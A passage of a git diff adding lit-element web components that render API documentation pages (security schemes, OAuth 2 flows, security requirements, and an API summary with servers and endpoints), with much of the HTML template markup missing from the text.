DomainElement */ +/** @typedef {import('@anypoint-web-components/anypoint-tabs').AnypointTabs} AnypointTabs */ + +export const querySecurity = Symbol('querySecurity'); +export const processSecurity = Symbol('processSecurity'); +export const securityValue = Symbol('securityValue'); +export const titleTemplate = Symbol('titleTemplate'); +export const queryParamsTemplate = Symbol('queryParamsTemplate'); +export const headersTemplate = Symbol('headersTemplate'); +export const responsesValue = Symbol('responsesValue'); +export const preselectResponse = Symbol('preselectResponse'); +export const responseContentTemplate = Symbol('responseContentTemplate'); +export const responseTabsTemplate = Symbol('responseTabsTemplate'); +export const responseTemplate = Symbol('responseTemplate'); +export const statusCodeHandler = Symbol('statusCodeHandler'); +export const settingsTemplate = Symbol('settingsTemplate'); +export const apiKeySettingsTemplate = Symbol('apiKeySettingsTemplate'); +export const openIdConnectSettingsTemplate = Symbol('openIdConnectSettingsTemplate'); +export const oAuth2SettingsTemplate = Symbol('oAuth2SettingsTemplate'); +export const apiKeyHeaderExample = Symbol('apiKeyHeaderExample'); +export const apiKeyCookieExample = Symbol('apiKeyCookieExample'); +export const apiKeyQueryExample = Symbol('apiKeyQueryExample'); +export const exampleTemplate = Symbol('exampleTemplate'); +export const oAuth2FlowsTemplate = Symbol('oAuth2FlowsTemplate'); +export const oAuth2GrantsTemplate = Symbol('oAuth2GrantsTemplate'); +export const oAuth2FlowTemplate = Symbol('oAuth2FlowTemplate'); +export const getLabelForGrant = Symbol('getLabelForGrant'); +export const accessTokenUriTemplate = Symbol('accessTokenUriTemplate'); +export const authorizationUriTemplate = Symbol('authorizationUriTemplate'); +export const refreshUriTemplate = Symbol('refreshUriTemplate'); +export const scopesTemplate = Symbol('scopesTemplate'); +export const scopeTemplate = Symbol('scopeTemplate'); +export const grantTitleTemplate = Symbol('grantTitleTemplate'); +export const setModel = Symbol('setModel'); +export const computeReferenceSecurity = Symbol('computeReferenceSecurity'); + +/** + * A web component that renders the documentation page for an API response object. + */ +export default class ApiSecurityDocumentElement extends ApiDocumentationBase { + get styles() { + return [commonStyles, elementStyles, MarkdownStyles, schemaStyles]; + } + + static get properties() { + return { + /** + * When set it opens the parameters section + */ + parametersOpened: { type: Boolean, reflect: true }, + /** + * When set it opens the headers section + */ + headersOpened: { type: Boolean, reflect: true }, + /** + * When set it opens the response section + */ + responsesOpened: { type: Boolean, reflect: true }, + /** + * When set it opens the settings section + */ + settingsOpened: { type: Boolean, reflect: true }, + /** + * The selected status code in the responses section. + */ + selectedStatus: { type: String }, + }; + } + + /** + * @returns {ApiSecurityScheme|undefined} + */ + get securityScheme() { + return this[securityValue]; + } + + /** + * @param {ApiSecurityScheme} value + */ + set securityScheme(value) { + const old = this[securityValue]; + if (old === value) { + return; + } + this[securityValue] = value; + this[processSecurity](); + this.requestUpdate(); + } + + constructor() { + super(); + /** + * @type {ApiSecurityScheme} + */ + this[securityValue] = undefined; + /** + * @type {ApiResponse[]} + */ + this[responsesValue] = undefined; + /** + * @type {string} + */ + this.selectedStatus = undefined; + + this.headersOpened = false; + this.parametersOpened = false; + this.settingsOpened = false; + /** @type {SecurityScheme} */ + this.domainModel = undefined; + } + + /** + * @returns {Promise} + */ + async processGraph() { + const { domainId, domainModel, amf } = this; + if (domainModel) { + this[setModel](domainModel); + return; + } + if (!domainId || !amf) { + return; + } + const declares = this._computeDeclares(amf); + let result; + if (declares) { + result = declares.find((item) => item['@id'] === domainId); + } + if (result) { + result = this._resolve(result); + this[setModel](result); + return; + } + const references = this._computeReferences(amf); + if (Array.isArray(references) && references.length) { + for (const ref of references) { + if (this._hasType(ref, this.ns.aml.vocabularies.document.Module)) { + result = this[computeReferenceSecurity](ref, domainId); + if (result) { + result = this._resolve(result); + this[setModel](result); + return; + } + } + } + } + this[setModel](); + } + + /** + * Computes a security model from a reference (library for example). + * @param {DomainElement} reference AMF model for a reference to extract the data from + * @param {string} selected Node ID to look for + * @return {any|undefined} Type definition or undefined if not found. + */ + [computeReferenceSecurity](reference, selected) { + const declare = this._computeDeclares(reference); + if (!declare) { + return undefined; + } + let result = declare.find((item) => { + if (Array.isArray(item)) { + [item] = item; + } + return item['@id'] === selected; + }); + if (Array.isArray(result)) { + [result] = result; + } + return this._resolve(result); + } + + /** + * @param {SecurityScheme=} model + */ + [setModel](model) { + if (model) { + this[securityValue] = this[serializerValue].securityScheme(model); + } else { + this[securityValue] = undefined; + } + this[processSecurity](); + this.requestUpdate(); + } + + async [processSecurity]() { + const scheme = this[securityValue]; + if (!scheme) { + this[responsesValue] = undefined; + return; + } + const { responses=[] } = scheme; + this[responsesValue] = responses; + this[preselectResponse](); + } + + /** + * Updates the `selectedStatus` if not selected or the current selection doesn't + * exists in the current list of responses. + */ + [preselectResponse]() { + const responses = this[responsesValue]; + if (!Array.isArray(responses) || !responses.length) { + return; + } + const { selectedStatus } = this; + if (!selectedStatus) { + this.selectedStatus = responses[0].statusCode; + return; + } + const selected = responses.find((item) => item.statusCode === selectedStatus); + if (selected) { + return; + } + this.selectedStatus = responses[0].statusCode; + } + + /** + * A handler for the status code tab selection. + * @param {Event} e + */ + [statusCodeHandler](e) { + const tabs = /** @type AnypointTabs */ (e.target); + this.selectedStatus = String(tabs.selected); + } + + /** + * @param {string} grant The oauth2 grant (flow) name + * @returns {string} Friendly name for the grant. + */ + [getLabelForGrant](grant) { + switch (grant) { + case "implicit": + return "Implicit"; + case "authorization_code": + case "authorizationCode": + return "Authorization code"; + case "password": + return "Password"; + case "client_credentials": + case "clientCredentials": + return "Client credentials"; + default: + return grant; + } + } + + render() { + const scheme = this[securityValue]; + if (!scheme) { + return html``; + } + return html` + + ${this[titleTemplate]()} + ${this[descriptionTemplate](scheme.description)} + ${this[queryParamsTemplate]()} + ${this[headersTemplate]()} + ${this[responseTemplate]()} + ${this[settingsTemplate]()} + `; + } + + [titleTemplate]() { + const scheme = this[securityValue]; + const { name, type, displayName } = scheme; + const title = displayName || name; + return html` +
+
+ ${title} +
+

${type}

+
+ `; + } + + /** + * @return {TemplateResult|string} The template for the query parameters + */ + [queryParamsTemplate]() { + const scheme = this[securityValue]; + if (!Array.isArray(scheme.queryParameters) || !scheme.queryParameters.length) { + return ''; + } + const content = scheme.queryParameters.map((param) => this[schemaItemTemplate](param)); + return this[paramsSectionTemplate]('Parameters', 'parametersOpened', content); + } + + /** + * @return {TemplateResult|string} The template for the headers + */ + [headersTemplate]() { + const scheme = this[securityValue]; + if (!Array.isArray(scheme.headers) || !scheme.headers.length) { + return ''; + } + const content = scheme.headers.map((param) => this[schemaItemTemplate](param)); + return this[paramsSectionTemplate]('Headers', 'headersOpened', content); + } + + [responseTemplate]() { + const responses = this[responsesValue]; + if (!Array.isArray(responses) || !responses.length) { + return ''; + } + const content = html` + ${this[responseTabsTemplate](responses)} + ${this[responseContentTemplate](responses)} + `; + return this[paramsSectionTemplate]('Responses', 'responsesOpened', content); + } + + /** + * @param {ApiResponse[]} responses The responses to render. + * @returns {TemplateResult} The template for the responses selector. + */ + [responseTabsTemplate](responses) { + const { selectedStatus } = this; + const filtered = responses.filter((item) => !!item.statusCode); + return html` +
+ + ${filtered.map((item) => html`${item.statusCode}`)} + +
+
+ `; + } + + /** + * @param {ApiResponse[]} responses The responses to render. + * @returns {TemplateResult} The template for the currently selected response. + */ + [responseContentTemplate](responses) { + const { selectedStatus } = this; + const response = responses.find((item) => item.statusCode === selectedStatus); + if (!response) { + return html`
Select a response to render the documentation.
`; + } + return html` + + `; + } + + /** + * @returns {TemplateResult|string} The template for the security settings, when required. + */ + [settingsTemplate]() { + const scheme = this[securityValue]; + const { settings } = scheme; + if (!settings) { + return ''; + } + const { types } = settings; + if (types.includes(ns.aml.vocabularies.security.ApiKeySettings)) { + return this[apiKeySettingsTemplate](settings); + } + if (types.includes(ns.aml.vocabularies.security.OpenIdConnectSettings)) { + return this[openIdConnectSettingsTemplate](settings); + } + if (types.includes(ns.aml.vocabularies.security.OAuth2Settings)) { + return this[oAuth2SettingsTemplate](/** @type ApiSecurityOAuth2Settings */ (settings)); + } + return ''; + } + + /** + * @param {ApiSecurityApiKeySettings} settings + * @returns {TemplateResult} The template for API Key security definition. + */ + [apiKeySettingsTemplate](settings) { + const { in: paramLocation='Unknown', name } = settings; + const content = html` +
+
Location: ${paramLocation}
+ ${name ? html`
Parameter: ${name}
` : ''} +
+ ${paramLocation === 'header' ? this[apiKeyHeaderExample](name) : ''} + ${paramLocation === 'cookie' ? this[apiKeyCookieExample](name) : ''} + ${paramLocation === 'query' ? this[apiKeyQueryExample](name) : ''} + `; + return this[paramsSectionTemplate]('Settings', 'settingsOpened', content); + } + + /** + * @param {string} name The name of the API Key parameter + * @returns {TemplateResult} The template for API Key header example + */ + [apiKeyHeaderExample](name) { + const value = `${name}: abcdef12345`; + return this[exampleTemplate](value); + } + + /** + * @param {string} name The name of the API Key parameter + * @returns {TemplateResult} The template for API Key cookie example + */ + [apiKeyCookieExample](name) { + const value = `Cookie: ${name}=abcdef12345`; + return this[exampleTemplate](value); + } + + /** + * @param {string} name The name of the API Key parameter + * @returns {TemplateResult} The template for API Key query parameter example + */ + [apiKeyQueryExample](name) { + const value = `GET /api?${name}=abcdef12345`; + return this[exampleTemplate](value); + } + + /** + * @param {string} value + * @returns {TemplateResult} The template for a single example + */ + [exampleTemplate](value) { + return html` +
+ Example +
+
${value}
+
+
+ `; + } + + /** + * @param {ApiSecurityOpenIdConnectSettings} settings + * @returns {TemplateResult|string} The template for API Key security definition. + */ + [openIdConnectSettingsTemplate](settings) { + const { url } = settings; + if (!url) { + return ''; + } + const content = html` +
+
OpenID Connect Discovery URL
+
+
${url}
+
+
+ `; + return this[paramsSectionTemplate]('Settings', 'settingsOpened', content); + } + + /** + * @param {ApiSecurityOAuth2Settings} settings + * @returns {TemplateResult|string} The template for OAuth 2 security definition. + */ + [oAuth2SettingsTemplate](settings) { + const { authorizationGrants=[], flows=[] } = settings; + if (!authorizationGrants.length && !flows.length) { + return ''; + } + const content = []; + const grants = this[oAuth2GrantsTemplate](authorizationGrants); + const flowsContent = this[oAuth2FlowsTemplate](flows); + if (grants) { + content.push(/** @type TemplateResult */(grants)); + } + if (flowsContent) { + content.push(/** @type TemplateResult */(flowsContent)); + } + return this[paramsSectionTemplate]('Settings', 'settingsOpened', content); + } + + /** + * @param {string[]} grants + * @returns {TemplateResult|string} The template for OAuth 2 flows list. + */ + [oAuth2GrantsTemplate](grants) { + if (!grants.length) { + return ''; + } + return html` +

Authorization grants

+
    + ${grants.map(grant => html`
  • ${grant}
  • `)} +
+ `; + } + + /** + * @param {ApiSecurityOAuth2Flow[]} flows + * @returns {TemplateResult|string} The template for OAuth 2 flows list. + */ + [oAuth2FlowsTemplate](flows) { + if (!flows.length) { + return ''; + } + return html` + ${flows.map((flow) => this[oAuth2FlowTemplate](flow))} + `; + } + + /** + * @param {ApiSecurityOAuth2Flow} flow + * @returns {TemplateResult} The template for an OAuth 2 flow. + */ + [oAuth2FlowTemplate](flow) { + const { scopes, accessTokenUri, authorizationUri, refreshUri, flow: grant } = flow; + return html` +
+ ${this[grantTitleTemplate](grant)} + ${this[accessTokenUriTemplate](accessTokenUri)} + ${this[authorizationUriTemplate](authorizationUri)} + ${this[refreshUriTemplate](refreshUri)} + ${this[scopesTemplate](scopes)} +
+ `; + } + + /** + * @param {string} grant The grant name + * @returns {TemplateResult|string} The template for OAuth 2 grant title. + */ + [grantTitleTemplate](grant) { + if (!grant) { + return ''; + } + return html` +
+

${this[getLabelForGrant](grant)}

+
`; + } + + /** + * @param {string} uri The access token URI + * @returns {TemplateResult|string} The template for the access token URI + */ + [accessTokenUriTemplate](uri) { + if (!uri) { + return ''; + } + return html` +
+
Access token URI
+
+
${uri}
+
+
`; + } + + /** + * @param {string} uri The access token URI + * @returns {TemplateResult|string} The template for the authorization endpoint URI + */ + [authorizationUriTemplate](uri) { + if (!uri) { + return ''; + } + return html` +
+
Authorization URI
+
+
${uri}
+
+
`; + } + + /** + * @param {string} uri The access token URI + * @returns {TemplateResult|string} The template for the refresh token endpoint URI + */ + [refreshUriTemplate](uri) { + if (!uri) { + return ''; + } + return html` +
+
Token refresh URI
+
+
${uri}
+
+
`; + } + + /** + * @param {ApiSecurityScope[]} scopes The oauth scopes + * @returns {TemplateResult|string} The template for the scopes list + */ + [scopesTemplate](scopes) { + if (!Array.isArray(scopes) || !scopes.length) { + return ''; + } + return html` +
+
Authorization scopes
+
    + ${scopes.map((scope) => this[scopeTemplate](scope))} +
+
`; + } + + /** + * @param {ApiSecurityScope} scope The access token URI + * @returns {TemplateResult} The template for an oauth scope + */ + [scopeTemplate](scope) { + const { name, description } = scope; + return html` +
  • + ${name} + ${description ? html`${description}` : ''} +
  • + `; + } +} diff --git a/src/elements/ApiSecurityRequirementDocumentElement.js b/src/elements/ApiSecurityRequirementDocumentElement.js new file mode 100644 index 0000000..b908bad --- /dev/null +++ b/src/elements/ApiSecurityRequirementDocumentElement.js @@ -0,0 +1,156 @@ +/* eslint-disable class-methods-use-this */ +import { html } from 'lit-element'; +import { + ApiDocumentationBase, + serializerValue, +} from './ApiDocumentationBase.js'; +import elementStyles from './styles/ApiSecurityRequirement.js'; +import '../../api-parametrized-security-scheme.js'; + +/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityRequirement} ApiSecurityRequirement */ +/** @typedef {import('@api-components/amf-helper-mixin').SecurityRequirement} SecurityRequirement */ + +export const securityRequirementValue = Symbol('securityRequirementValue'); +export const findSecurity = Symbol('findSecurity'); +export const findOperationSecurity = Symbol('findOperationSecurity'); + +export default class ApiSecurityRequirementDocumentElement extends ApiDocumentationBase { + get styles() { + return [elementStyles]; + } + + constructor() { + super(); + /** @type {ApiSecurityRequirement} */ + this[securityRequirementValue] = undefined; + /** @type {SecurityRequirement} */ + this.domainModel = undefined; + } + + /** + * @returns {ApiSecurityRequirement} + */ + get securityRequirement() { + return this[securityRequirementValue]; + } + + /** + * @param {ApiSecurityRequirement} value + */ + set securityRequirement(value) { + const old = this[securityRequirementValue]; + if (old === value) { + return; + } + this[securityRequirementValue] = value; + this.processGraph(); + } + + /** + * @returns {Promise} + */ + async processGraph() { + const { domainModel, domainId } = this; + let processModel = domainModel; + if (!processModel && domainId) { + if (!this[securityRequirementValue] || this[securityRequirementValue].id !== domainId) { + processModel = this[findSecurity](domainId); + if (!processModel) { + processModel = this[findOperationSecurity](domainId); + } + } + } + if (processModel) { + this[securityRequirementValue] = this[serializerValue].securityRequirement(processModel); + } + await this.requestUpdate(); + } + + /** + * @param {string} id + * @returns {SecurityRequirement|undefined} + */ + [findSecurity](id) { + const { amf } = this; + if (!amf) { + return undefined; + } + const declares = this._computeDeclares(amf); + if (declares) { + const result = declares.find((item) => item['@id'] === id); + if (result) { + return this._resolve(result); + } + } + const references = this._computeReferences(amf) || []; + for (const reference of references) { + if (!this._hasType(reference, this.ns.aml.vocabularies.document.Module)) { + const referencedDeclares = this._computeDeclares(reference) || []; + for (let declare of referencedDeclares) { + if (Array.isArray(declare)) { + [declare] = declare; + } + if (declare['@id'] === id) { + return this._resolve(declare); + } + } + } + } + return undefined; + } + + /** + * @param {string} id + * @returns {SecurityRequirement|undefined} + */ + [findOperationSecurity](id) { + const { amf } = this; + if (!amf) { + return undefined; + } + const wa = this._computeApi(amf); + if (!wa) { + return undefined; + } + const endpoints = wa[this._getAmfKey(this.ns.aml.vocabularies.apiContract.endpoint)]; + if (!Array.isArray(endpoints)) { + return undefined; + } + for (const endpoint of endpoints) { + const operations = endpoint[this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation)]; + if (Array.isArray(operations)) { + for (const operation of operations) { + const securityList = operation[this._getAmfKey(this.ns.aml.vocabularies.security.security)]; + if (Array.isArray(securityList)) { + for (const security of securityList) { + if (security['@id'] === id) { + return security; + } + } + } + } + } + } + return undefined; + } + + render() { + const scheme = this[securityRequirementValue]; + if (!scheme || !scheme.schemes || !scheme.schemes.length) { + return html``; + } + return html` + +
    + ${scheme.schemes.map((item) => html` + `)} +
    + `; + } +} diff --git a/src/elements/ApiSummaryElement.d.ts b/src/elements/ApiSummaryElement.d.ts new file mode 100644 index 0000000..c4a7169 --- /dev/null +++ b/src/elements/ApiSummaryElement.d.ts @@ -0,0 +1,109 @@ +import { TemplateResult } from 'lit-element'; +import { + ApiSummary, + ApiServer, + AsyncApi, + WebApi, +} from '@api-components/amf-helper-mixin'; +import { ApiDocumentationBase } from './ApiDocumentationBase'; +import { ApiSummaryEndpoint, ApiSummaryOperation } from '../types'; + +export const summaryValue: unique symbol; +export const serversValue: unique symbol; +export const processEndpoints: unique symbol; +export const endpointsValue: unique symbol; +export const endpointOperations: unique symbol; +export const isAsyncValue: unique symbol; +export const baseUriValue: unique symbol; +export const navigateHandler: unique symbol; +export const titleTemplate: unique symbol; +export const versionTemplate: unique symbol; +export const serversTemplate: unique symbol; +export const baseUriTemplate: unique symbol; +export const serverTemplate: unique symbol; +export const protocolsTemplate: unique symbol; +export const contactInfoTemplate: unique symbol; +export const licenseTemplate: unique symbol; +export const termsOfServiceTemplate: unique symbol; +export const endpointsTemplate: unique symbol; +export const endpointTemplate: unique symbol; +export const endpointPathTemplate: unique symbol; +export const endpointNameTemplate: unique symbol; +export const methodTemplate: unique symbol; + +/** + * A web component that renders the documentation page for an API documentation (like in RAML documentations) built from + * the AMF graph model. + * + * @fires api-navigation-selection-changed + */ +export default class ApiSummaryElement extends ApiDocumentationBase { + get summary(): ApiSummary; + get servers(): ApiServer[]; + + /** + * A property to set to override AMF's model base URI information. + * When this property is set, the `endpointUri` property is recalculated. + * @attribute + */ + baseUri: string; + /** + * API title header level in value range from 1 to 6. + * This is made for accessibility. It the component is used in a context + * where headers order matters then this property is to be set to + * arrange headers in the right order. + * + * @default 2 + * @attribute + */ + titleLevel: number; + /** + * A property to hide the table of contents list of endpoints. + * @attribute + */ + hideToc: boolean; + protocols: string[]; + [summaryValue]: ApiSummary; + [serversValue]: ApiServer[]; + [endpointsValue]: ApiSummaryEndpoint[]; + [isAsyncValue]: boolean; + constructor(); + /** + * Queries the graph store for the API data. + */ + processGraph(): Promise; + [processEndpoints](webApi: AsyncApi | WebApi): void; + [endpointOperations](endpoint): ApiSummaryOperation[]|undefined; + [navigateHandler](e: Event): void; + render(): TemplateResult; + [titleTemplate](): TemplateResult|string; + [versionTemplate](): TemplateResult|string; + + /** + * @return A template for a server, servers, or no servers + * whether it's defined in the main API definition or not. + */ + [serversTemplate](): TemplateResult|string; + + /** + * @param server Server definition + * @return A template for a single server in the main API definition + */ + [baseUriTemplate](server: ApiServer): TemplateResult; + + /** + * @param server Server definition + * @return Template for a server list items when there is more than one server. + */ + [serverTemplate](server: ApiServer): TemplateResult; + + [protocolsTemplate](): TemplateResult|string; + [contactInfoTemplate](): TemplateResult|string; + [licenseTemplate](): TemplateResult|string; + [termsOfServiceTemplate](): TemplateResult|string; + [endpointsTemplate](): TemplateResult|string; + [endpointTemplate](item: ApiSummaryEndpoint): TemplateResult; + [endpointPathTemplate](item: ApiSummaryEndpoint): TemplateResult; + [endpointNameTemplate](item: ApiSummaryEndpoint): TemplateResult|string; + [methodTemplate](item: ApiSummaryOperation, endpoint: ApiSummaryEndpoint): TemplateResult; +} diff --git a/src/elements/ApiSummaryElement.js b/src/elements/ApiSummaryElement.js new file mode 100644 index 0000000..296d02d --- /dev/null +++ b/src/elements/ApiSummaryElement.js @@ -0,0 +1,462 @@ +/* eslint-disable class-methods-use-this */ +import { html } from 'lit-element'; +import { unsafeHTML } from 'lit-html/directives/unsafe-html.js'; +import { Styles as HttpStyles } from '@api-components/http-method-label'; +import { UrlLib } from '@api-components/api-request'; +import { MarkdownStyles } from '@advanced-rest-client/highlight'; +import '@advanced-rest-client/highlight/arc-marked.js'; +import elementStyles from './styles/ApiSummary.js'; +import commonStyles from './styles/Common.js'; +import { + ApiDocumentationBase, + descriptionTemplate, + serializerValue, +} from './ApiDocumentationBase.js'; +import { sanitizeHTML } from '../lib/Utils.js'; + +/** @typedef {import('lit-element').TemplateResult} TemplateResult */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiDocumentation} ApiDocumentation */ +/** @typedef {import('@api-components/amf-helper-mixin').CreativeWork} CreativeWork */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiSummary} ApiSummary */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiServer} ApiServer */ +/** @typedef {import('@api-components/amf-helper-mixin').AsyncApi} AsyncApi */ +/** @typedef {import('@api-components/amf-helper-mixin').WebApi} WebApi */ +/** @typedef {import('@api-components/amf-helper-mixin').EndPoint} EndPoint */ +/** @typedef {import('../types').ApiSummaryEndpoint} ApiSummaryEndpoint */ +/** @typedef {import('../types').ApiSummaryOperation} ApiSummaryOperation */ + +export const summaryValue = Symbol('summaryValue'); +export const serversValue = Symbol('serversValue'); +export const processEndpoints = Symbol('computeEndpoints'); +export const endpointsValue = Symbol('endpointsValue'); +export const endpointOperations = Symbol('endpointOperations'); +export const isAsyncValue = Symbol('isAsyncValue'); +export const baseUriValue = Symbol('baseUriValue'); +export const navigateHandler = Symbol('navigateHandler'); +export const titleTemplate = Symbol('titleTemplate'); +export const versionTemplate = Symbol('versionTemplate'); +export const serversTemplate = Symbol('serversTemplate'); +export const baseUriTemplate = Symbol('baseUriTemplate'); +export const serverTemplate = Symbol('serverTemplate'); +export const protocolsTemplate = Symbol('protocolsTemplate'); +export const contactInfoTemplate = Symbol('contactInfoTemplate'); +export const licenseTemplate = Symbol('licenseTemplate'); +export const termsOfServiceTemplate = Symbol('termsOfServiceTemplate'); +export const endpointsTemplate = Symbol('endpointsTemplate'); +export const endpointTemplate = Symbol('endpointTemplate'); +export const endpointPathTemplate = Symbol('endpointPathTemplate'); +export const endpointNameTemplate = Symbol('endpointNameTemplate'); +export const methodTemplate = Symbol('methodTemplate'); + +/** + * A web component that renders the documentation page for an API documentation (like in RAML documentations) built from + * the AMF graph model. + */ +export default class ApiSummaryElement extends ApiDocumentationBase { + get styles() { + return [elementStyles, commonStyles, HttpStyles.default, MarkdownStyles]; + } + + /** + * @returns {ApiSummary} + * @readonly + */ + get summary() { + return this[summaryValue]; + } + + /** + * @returns {ApiServer[]} + * @readonly + */ + get servers() { + return this[serversValue]; + } + + static get properties() { + return { + /** + * A property to set to override AMF's model base URI information. + * When this property is set, the `endpointUri` property is recalculated. + */ + baseUri: { type: String }, + /** + * API title header level in value range from 1 to 6. + * This is made for accessibility. It the component is used in a context + * where headers order matters then this property is to be set to + * arrange headers in the right order. + * + * @default 2 + */ + titleLevel: { type: Number }, + /** + * A property to hide the table of contents list of endpoints. + */ + hideToc: { type: Boolean }, + }; + } + + constructor() { + super(); + this.titleLevel = 2; + /** @type {string[]} */ + this.protocols = undefined; + /** @type {boolean} */ + this.hideToc = undefined; + /** @type {string} */ + this.baseUri = undefined; + /** @type {ApiSummary} */ + this[summaryValue] = undefined; + /** @type {ApiServer[]} */ + this[serversValue] = undefined; + /** @type {ApiSummaryEndpoint[]} */ + this[endpointsValue] = undefined; + /** @type {boolean} */ + this[isAsyncValue] = undefined; + } + + /** + * Queries the graph store for the API data. + * @returns {Promise} + */ + async processGraph() { + this[endpointsValue] = undefined; + this[serversValue] = undefined; + this[summaryValue] = undefined; + this[isAsyncValue] = undefined; + const { amf } = this; + if (!amf) { + return; + } + this[isAsyncValue] = this._isAsyncAPI(amf); + const servers = this._getServers(); + this[serversValue] = Array.isArray(servers) ? servers.map(s => this[serializerValue].server(s)) : undefined; + const webApi = this._computeApi(amf); + if (!webApi) { + return; + } + const summary = this[serializerValue].apiSummary(webApi); + this[summaryValue] = summary; + this[processEndpoints](webApi); + this.requestUpdate(); + } + + /** + * @param {AsyncApi | WebApi} webApi + */ + [processEndpoints](webApi) { + if (this.hideToc) { + return; + } + const key = this._getAmfKey(this.ns.aml.vocabularies.apiContract.endpoint); + const endpoints = /** @type EndPoint[] */ (this._ensureArray(webApi[key])); + if (!endpoints || !endpoints.length) { + return; + } + const list = endpoints.map((item) => { + const result = /** @type ApiSummaryEndpoint */ ({ + name: this._getValue(item, this.ns.aml.vocabularies.core.name), + path: this._getValue(item, this.ns.aml.vocabularies.apiContract.path), + id: item['@id'], + ops: this[endpointOperations](item), + }); + return result; + }); + this[endpointsValue] = list; + } + + /** + * @param {EndPoint} endpoint + * @returns {ApiSummaryOperation[]|undefined} + */ + [endpointOperations](endpoint) { + const key = this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation); + const so = this._ensureArray(endpoint[key]); + if (!so || !so.length) { + return undefined; + } + return so.map((item) => ({ + id: item['@id'], + method: /** @type string */ (this._getValue(item, this.ns.aml.vocabularies.apiContract.method)), + })); + } + + /** + * @param {Event} e + */ + [navigateHandler](e) { + e.preventDefault(); + const target = /** @type HTMLElement */ (e.composedPath()[0]); + const data = target.dataset; + if (!data.id || !data.shapeType) { + return; + } + const ev = new CustomEvent('api-navigation-selection-changed', { + bubbles: true, + composed: true, + detail: { + selected: data.id, + type: data.shapeType, + } + }); + this.dispatchEvent(ev); + } + + render() { + const { summary } = this; + if (!summary) { + return html``; + } + return html` + + ${this[titleTemplate]()} + ${this[versionTemplate]()} + ${this[descriptionTemplate](summary.description)} + ${this[serversTemplate]()} + ${this[protocolsTemplate]()} + ${this[contactInfoTemplate]()} + ${this[licenseTemplate]()} + ${this[termsOfServiceTemplate]()} + ${this[endpointsTemplate]()} + `; + } + + /** + * @returns {TemplateResult|string} + */ + [titleTemplate]() { + const { summary, titleLevel } = this; + if (!summary || !summary.name) { + return ''; + } + return html` +
    + + ${summary.name} +
    `; + } + + /** + * @returns {TemplateResult|string} + */ + [versionTemplate]() { + const { summary } = this; + if (!summary || !summary.version) { + return ''; + } + return html` +

    + + ${summary.version} +

    `; + } + + /** + * @return {TemplateResult|String} A template for a server, servers, or no servers + * whether it's defined in the main API definition or not. + */ + [serversTemplate]() { + const { servers, baseUri } = this; + if (baseUri) { + return this[baseUriTemplate](undefined); + } + if (!servers || !servers.length) { + return ''; + } + if (servers.length === 1) { + return this[baseUriTemplate](servers[0]); + } + return html` +
    +

    API servers

    +
      + ${servers.map((server) => this[serverTemplate](server))} +
    +
    `; + } + + /** + * @param {ApiServer} server Server definition + * @return {TemplateResult} A template for a single server in the main API definition + */ + [baseUriTemplate](server) { + const { baseUri, protocols } = this; + const uri = UrlLib.computeApiBaseUri({ baseUri, server, protocols, }); + return html` +
    +
    ${uri}
    +
    + `; + } + + /** + * @param {ApiServer} server Server definition + * @return {TemplateResult} Template for a server list items when there is more + * than one server. + */ + [serverTemplate](server) { + const { baseUri, protocols } = this; + const uri = UrlLib.computeApiBaseUri({ baseUri, server, protocols, }); + const { description } = server; + return html` +
  • + ${uri} + ${description ? html`` : ''} +
  • `; + } + + /** + * @return {TemplateResult|String} + */ + [protocolsTemplate]() { + const { summary } = this; + if (!summary || !summary.schemes || !summary.schemes.length) { + return ''; + } + const result = summary.schemes.map((item) => html`${item}`); + + return html` + +
    ${result}
    `; + } + + [contactInfoTemplate]() { + const { summary } = this; + if (!summary || !summary.provider || !summary.provider.name) { + return ''; + } + const { name='', email, url } = summary.provider; + const link = url ? sanitizeHTML( + `${url}`, + ) : 'undefined'; + return html` + `; + } + + [licenseTemplate]() { + const { summary } = this; + if (!summary || !summary.license) { + return ''; + } + const { url, name } = summary.license; + if (!url || !name) { + return ''; + } + const link = sanitizeHTML( + `${name}`, + ); + return html` +
    + +

    + ${unsafeHTML(link)} +

    +
    `; + } + + [termsOfServiceTemplate]() { + const { summary } = this; + if (!summary || !summary.termsOfService || !summary.termsOfService.length) { + return ''; + } + return html` +
    + + +
    +
    +
    `; + } + + [endpointsTemplate]() { + if (this.hideToc) { + return ''; + } + const endpoints = /** @type {ApiSummaryEndpoint[]} */ (this[endpointsValue]); + if (!endpoints || !endpoints.length) { + return ''; + } + const result = endpoints.map((item) => this[endpointTemplate](item)); + const pathLabel = this[isAsyncValue] ? 'channels' : 'endpoints'; + return html` +
    +
    + + ${result} +
    + `; + } + + /** + * @param {ApiSummaryEndpoint} item + * @returns {TemplateResult} + */ + [endpointTemplate](item) { + const ops = item.ops && item.ops.length ? item.ops.map((op) => this[methodTemplate](op, item)) : ''; + return html` +
    + ${item.name ? this[endpointNameTemplate](item) : this[endpointPathTemplate](item)} +
    + ${ops} +
    +
    `; + } + + /** + * @param {ApiSummaryEndpoint} item + * @returns {TemplateResult} + */ + [endpointPathTemplate](item) { + return html` + ${item.path} + `; + } + + /** + * @param {ApiSummaryEndpoint} item + * @returns {TemplateResult|string} + */ + [endpointNameTemplate](item) { + if (!item.name) { + return ''; + } + return html` + ${item.name} +

    ${item.path}

    + `; + } + + /** + * @param {ApiSummaryOperation} item + * @param {ApiSummaryEndpoint} endpoint + * @returns {TemplateResult} + */ + [methodTemplate](item, endpoint) { + return html` + ${item.method} + `; + } +} diff --git a/src/elements/SchemaCommonTemplates.js b/src/elements/SchemaCommonTemplates.js new file mode 100644 index 0000000..de0053f --- /dev/null +++ b/src/elements/SchemaCommonTemplates.js @@ -0,0 +1,552 @@ +import { html } from "lit-element"; +import { ns } from '@api-components/amf-helper-mixin'; +import { classMap } from "lit-html/directives/class-map"; +import { ifDefined } from "lit-html/directives/if-defined"; +import '../../api-annotation-document.js'; + +/** @typedef {import('lit-element').TemplateResult} TemplateResult */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarShape} ApiScalarShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiArrayShape} ApiArrayShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarNode} ApiScalarNode */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiNodeShape} ApiNodeShape */ 